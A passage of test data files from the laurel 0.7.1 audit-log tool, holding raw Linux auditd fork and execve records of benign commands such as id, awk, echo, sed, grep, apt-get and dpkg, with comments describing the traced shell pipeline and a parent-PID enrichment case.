a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2542 pid=2655 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.357:2638033): type=SYSCALL msg=audit(1697091526.357:2638034): arch=c000003e syscall=56 success="yes" exit=2657 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2542 pid=2655 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.357:2638034): # This is the problematic entry. The enriched PPID should be # { # "EVENT_ID": "1697091526.357:2638033", # "comm": "csh", # "exe": "/bin/tcsh", # "ppid": 2542 # } type=SYSCALL msg=audit(1697091526.357:2638035): arch=c000003e syscall=59 success="yes" exit=0 a0=964920 a1=98cfa0 a2=99d400 a3=f663360 items=2 ppid=2655 pid=2656 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="id" exe="/usr/bin/id" key=(null) type=EXECVE msg=audit(1697091526.357:2638035): argc=1 a0="id" type=CWD msg=audit(1697091526.357:2638035): cwd="/home/redacted/" type=PATH msg=audit(1697091526.357:2638035): item=0 name="/usr/bin/id" inode=989 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=PATH msg=audit(1697091526.357:2638035): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=137909 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=EOE msg=audit(1697091526.357:2638035): type=SYSCALL msg=audit(1697091526.357:2638036): arch=c000003e syscall=59 success="yes" exit=0 a0=964920 a1=987f70 a2=99d400 a3=f663360 items=2 ppid=2542 pid=2655 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="awk" exe="/usr/bin/gawk" key=(null) type=EXECVE msg=audit(1697091526.357:2638036): argc=3 a0="awk" a1="-F)" a2=7B7072696E742024317D type=CWD msg=audit(1697091526.357:2638036): cwd="/home/redacted/" type=PATH msg=audit(1697091526.357:2638036): item=0 name="/bin/awk" inode=9629 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=PATH msg=audit(1697091526.357:2638036): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=137909 dev="103:05" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" type=EOE msg=audit(1697091526.357:2638036): type=SYSCALL msg=audit(1697091526.357:2638040): arch=c000003e syscall=56 success="yes" exit=2659 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.357:2638040): type=SYSCALL msg=audit(1697091526.361:2638046): arch=c000003e syscall=56 success="yes" exit=2664 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.361:2638046): type=SYSCALL msg=audit(1697091526.361:2638056): arch=c000003e syscall=56 success="yes" exit=2670 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.361:2638056): type=SYSCALL msg=audit(1697091526.365:2638058): arch=c000003e syscall=56 success="yes" exit=2671 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.365:2638058): type=SYSCALL msg=audit(1697091526.365:2638061): arch=c000003e syscall=56 success="yes" exit=2673 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.365:2638061): type=SYSCALL msg=audit(1697091526.369:2638064): arch=c000003e syscall=56 success="yes" exit=2675 a0=1200011 a1=0 a2=0 a3=7fcfb71699d0 items=0 ppid=2532 pid=2542 auid=4294967295 uid=11178 gid=201 euid=11178 suid=11178 fsuid=11178 egid=201 sgid=201 fsgid=201 tty="(none)" ses=4294967295 comm="csh" exe="/bin/tcsh" key="fork" type=EOE msg=audit(1697091526.369:2638064): laurel-0.7.1/src/testdata/shell-proc-trace-reordered.txt000064400000000000000000000154161046102023000214020ustar 00000000000000# The script execution has been marked with the key "test-script". # fork + exec by parent shell type=SYSCALL msg=audit(1682609045.526:29237): arch=c000003e syscall=56 success=yes exit=71505 a0=1200011 a1=0 a2=0 a3=7fb30981aa10 items=0 ppid=3505 pid=71432 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="bash" exe="/usr/bin/bash" subj=unconfined key="fork" type=SYSCALL msg=audit(1682609045.526:29238): arch=c000003e syscall=59 success=yes exit=0 a0=55fdabf92380 a1=55fdabf99b20 a2=55fdabf2f2d0 a3=6ba537a8c6848fb8 items=4 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="test-script" type=EXECVE msg=audit(1682609045.526:29238): argc=2 a0="/bin/sh" a1="./src/testdata/double-fork/test-script.sh" type=CWD msg=audit(1682609045.526:29238): cwd="/home/user/src/laurel" type=PATH msg=audit(1682609045.526:29238): item=0 name="./src/testdata/double-fork/test-script.sh" inode=6309361 dev=fd:02 mode=0100755 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.526:29238): item=1 name="./src/testdata/double-fork/test-script.sh" inode=6309361 dev=fd:02 mode=0100755 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.526:29238): item=2 name="/bin/sh" inode=394147 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.526:29238): item=3 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 # forks for pipe setup type=SYSCALL msg=audit(1682609045.530:29239): arch=c000003e syscall=56 success=yes exit=71506 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" type=SYSCALL msg=audit(1682609045.530:29240): arch=c000003e syscall=56 success=yes exit=71507 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" type=SYSCALL msg=audit(1682609045.530:29241): arch=c000003e syscall=56 success=yes exit=71508 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71505 pid=71506 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" type=SYSCALL msg=audit(1682609045.530:29242): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6ea8 a1=55d85f7e6bc0 a2=55d85f7e6bd8 a3=6b85af46a9ffd8dd items=3 ppid=71505 pid=71507 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="grep" exe="/usr/bin/grep" subj=unconfined key=(null) type=EXECVE msg=audit(1682609045.530:29242): argc=2 a0="grep" a1="baz" type=CWD msg=audit(1682609045.530:29242): cwd="/home/user/src/laurel" type=PATH msg=audit(1682609045.530:29242): item=0 name="/usr/bin/grep" inode=394770 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.530:29242): item=1 name="/usr/bin/grep" inode=394770 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.530:29242): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=SYSCALL msg=audit(1682609045.530:29243): arch=c000003e syscall=56 success=yes exit=71509 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71505 pid=71506 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" type=SYSCALL msg=audit(1682609045.530:29244): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6b88 a1=55d85f7e6bc8 a2=55d85f7e6be0 a3=6b85af46a9ffd8dd items=3 ppid=71506 pid=71508 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="echo" exe="/usr/bin/echo" subj=unconfined key=(null) type=EXECVE msg=audit(1682609045.530:29244): argc=2 a0="/bin/echo" a1="foo" type=CWD msg=audit(1682609045.530:29244): cwd="/home/user/src/laurel" type=PATH msg=audit(1682609045.530:29244): item=0 name="/bin/echo" inode=398735 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.530:29244): item=1 name="/bin/echo" inode=398735 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.530:29244): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=SYSCALL msg=audit(1682609045.534:29245): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6b88 a1=55d85f7e6be8 a2=55d85f7e6e78 a3=6b85af46a9ffd8dd items=3 ppid=71506 pid=71509 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="sed" exe="/usr/bin/sed" subj=unconfined key=(null) type=EXECVE msg=audit(1682609045.534:29245): argc=3 a0="/bin/sed" a1="-e" a2="s/foo/bar/" type=CWD msg=audit(1682609045.534:29245): cwd="/home/user/src/laurel" type=PATH msg=audit(1682609045.534:29245): item=0 name="/bin/sed" inode=432247 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.534:29245): item=1 name="/bin/sed" inode=432247 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.534:29245): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=EOE msg=audit(1682609045.534:29245): type=EOE msg=audit(1682609045.530:29244): type=EOE msg=audit(1682609045.530:29243): type=EOE msg=audit(1682609045.530:29242): type=EOE msg=audit(1682609045.530:29241): type=EOE msg=audit(1682609045.530:29240): type=EOE msg=audit(1682609045.530:29239): type=EOE msg=audit(1682609045.526:29238): type=EOE msg=audit(1682609045.526:29237): laurel-0.7.1/src/testdata/shell-proc-trace.txt000064400000000000000000000165461046102023000174360ustar 00000000000000# Trace of a script: # ,---- # | #!/bin/sh # | # | ( /bin/echo foo | /bin/sed -e 's/foo/bar/' ) | /bin/grep bar # `---- # This is what happens in this trace: # # (71432) # | fork # | # | exec test-script.sh # (71505) # / \ fork # / \ # / \ exec grep bar # (71506) (71507) # fork / \ fork # / \ # exec echo foo / \ exec sed -e s/foo/bar/ # (71508 (71509) # The script execution has been marked with the key "test-script". # fork + exec by parent shell type=SYSCALL msg=audit(1682609045.526:29237): arch=c000003e syscall=56 success=yes exit=71505 a0=1200011 a1=0 a2=0 a3=7fb30981aa10 items=0 ppid=3505 pid=71432 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="bash" exe="/usr/bin/bash" subj=unconfined key="fork" type=EOE msg=audit(1682609045.526:29237): type=SYSCALL msg=audit(1682609045.526:29238): arch=c000003e syscall=59 success=yes exit=0 a0=55fdabf92380 a1=55fdabf99b20 a2=55fdabf2f2d0 a3=6ba537a8c6848fb8 items=4 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="test-script" type=EXECVE msg=audit(1682609045.526:29238): argc=2 a0="/bin/sh" a1="./src/testdata/double-fork/test-script.sh" type=CWD msg=audit(1682609045.526:29238): cwd="/home/user/src/laurel" type=PATH msg=audit(1682609045.526:29238): item=0 name="./src/testdata/double-fork/test-script.sh" inode=6309361 dev=fd:02 mode=0100755 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.526:29238): item=1 name="./src/testdata/double-fork/test-script.sh" inode=6309361 dev=fd:02 mode=0100755 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.526:29238): item=2 name="/bin/sh" inode=394147 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.526:29238): item=3 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=EOE msg=audit(1682609045.526:29238): # forks for pipe setup type=SYSCALL msg=audit(1682609045.530:29239): arch=c000003e syscall=56 success=yes exit=71506 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" type=EOE msg=audit(1682609045.530:29239): type=SYSCALL msg=audit(1682609045.530:29240): arch=c000003e syscall=56 success=yes exit=71507 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71432 pid=71505 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" type=EOE msg=audit(1682609045.530:29240): type=SYSCALL msg=audit(1682609045.530:29241): arch=c000003e syscall=56 success=yes exit=71508 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71505 pid=71506 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" type=EOE msg=audit(1682609045.530:29241): type=SYSCALL msg=audit(1682609045.530:29242): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6ea8 a1=55d85f7e6bc0 a2=55d85f7e6bd8 a3=6b85af46a9ffd8dd items=3 ppid=71505 pid=71507 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="grep" exe="/usr/bin/grep" subj=unconfined key=(null) type=EXECVE msg=audit(1682609045.530:29242): argc=2 a0="grep" a1="baz" type=CWD msg=audit(1682609045.530:29242): cwd="/home/user/src/laurel" type=PATH msg=audit(1682609045.530:29242): item=0 name="/usr/bin/grep" inode=394770 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.530:29242): item=1 name="/usr/bin/grep" inode=394770 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.530:29242): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=EOE msg=audit(1682609045.530:29242): type=SYSCALL msg=audit(1682609045.530:29243): arch=c000003e syscall=56 success=yes exit=71509 a0=1200011 a1=0 a2=0 a3=7fd85beaba10 items=0 ppid=71505 pid=71506 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="test-script.sh" exe="/usr/bin/dash" subj=unconfined key="fork" type=EOE msg=audit(1682609045.530:29243): type=SYSCALL msg=audit(1682609045.530:29244): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6b88 a1=55d85f7e6bc8 a2=55d85f7e6be0 a3=6b85af46a9ffd8dd items=3 ppid=71506 pid=71508 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="echo" exe="/usr/bin/echo" subj=unconfined key=(null) type=EXECVE msg=audit(1682609045.530:29244): argc=2 a0="/bin/echo" a1="foo" type=CWD msg=audit(1682609045.530:29244): cwd="/home/user/src/laurel" type=PATH msg=audit(1682609045.530:29244): item=0 name="/bin/echo" inode=398735 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.530:29244): item=1 name="/bin/echo" inode=398735 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.530:29244): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=EOE msg=audit(1682609045.530:29244): type=SYSCALL msg=audit(1682609045.534:29245): arch=c000003e syscall=59 success=yes exit=0 a0=55d85f7e6b88 a1=55d85f7e6be8 a2=55d85f7e6e78 a3=6b85af46a9ffd8dd items=3 ppid=71506 pid=71509 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts7 ses=3 comm="sed" exe="/usr/bin/sed" subj=unconfined key=(null) type=EXECVE msg=audit(1682609045.534:29245): argc=3 a0="/bin/sed" a1="-e" a2="s/foo/bar/" type=CWD msg=audit(1682609045.534:29245): cwd="/home/user/src/laurel" type=PATH msg=audit(1682609045.534:29245): item=0 name="/bin/sed" inode=432247 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.534:29245): item=1 name="/bin/sed" inode=432247 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=PATH msg=audit(1682609045.534:29245): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=393521 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 type=EOE msg=audit(1682609045.534:29245): laurel-0.7.1/src/testdata/tree/00.txt000064400000000000000000000024661046102023000154440ustar 00000000000000type=SYSCALL msg=audit(1654180383.030:299896): arch=c000003e syscall=59 success=yes exit=0 a0=55c7464eed38 a1=55c7464f4fd8 a2=55c7464efca0 a3=0 items=3 ppid=722675 pid=722676 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="apt-get" exe="/usr/bin/apt-get" subj==unconfined key="software_mgmt"ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.030:299896): argc=2 a0="apt-get" a1="update" type=CWD msg=audit(1654180383.030:299896): cwd="/" type=PATH msg=audit(1654180383.030:299896): item=0 name="/usr/bin/apt-get" inode=394263 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.030:299896): item=1 name="/usr/bin/apt-get" inode=394263 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.030:299896): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.030:299896): laurel-0.7.1/src/testdata/tree/01.txt000064400000000000000000000025161046102023000154410ustar 00000000000000type=SYSCALL msg=audit(1654180383.046:299897): arch=c000003e syscall=59 success=yes exit=0 a0=564c986288a0 a1=564c9862df30 a2=7ffc8fdcce50 a3=564c9862e7e0 items=3 ppid=722676 pid=722677 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="dpkg" exe="/usr/bin/dpkg" subj==unconfined key="pkg_mgmt"ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.046:299897): argc=2 a0="/usr/bin/dpkg" a1="--print-foreign-architectures" type=CWD msg=audit(1654180383.046:299897): cwd="/" type=PATH msg=audit(1654180383.046:299897): item=0 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.046:299897): item=1 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.046:299897): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.046:299897): laurel-0.7.1/src/testdata/tree/02.txt000064400000000000000000000025261046102023000154430ustar 00000000000000type=SYSCALL msg=audit(1654180383.130:299898): arch=c000003e syscall=59 success=yes exit=0 a0=564c986b83d0 a1=7ffc8fdcbd70 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722678 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="http" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.130:299898): argc=1 a0="/usr/lib/apt/methods/http" type=CWD msg=audit(1654180383.130:299898): cwd="/" type=PATH msg=audit(1654180383.130:299898): item=0 name="/usr/lib/apt/methods/http" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.130:299898): item=1 name="/usr/lib/apt/methods/http" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.130:299898): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.130:299898): laurel-0.7.1/src/testdata/tree/03.txt000064400000000000000000000025321046102023000154410ustar 00000000000000type=SYSCALL msg=audit(1654180383.138:299899): arch=c000003e syscall=59 success=yes exit=0 a0=564c98690560 a1=7ffc8fdcbd70 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722679 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="https" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.138:299899): argc=1 a0="/usr/lib/apt/methods/https" type=CWD msg=audit(1654180383.138:299899): cwd="/" type=PATH msg=audit(1654180383.138:299899): item=0 name="/usr/lib/apt/methods/https" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.138:299899): item=1 name="/usr/lib/apt/methods/https" inode=420970 dev=fd:01 mode=0120777 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.138:299899): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.138:299899): laurel-0.7.1/src/testdata/tree/04.txt000064400000000000000000000025321046102023000154420ustar 00000000000000type=SYSCALL msg=audit(1654180383.142:299900): arch=c000003e syscall=59 success=yes exit=0 a0=564c986772f0 a1=7ffc8fdcc240 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722680 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="https" exe="/usr/lib/apt/methods/http" subj==unconfined 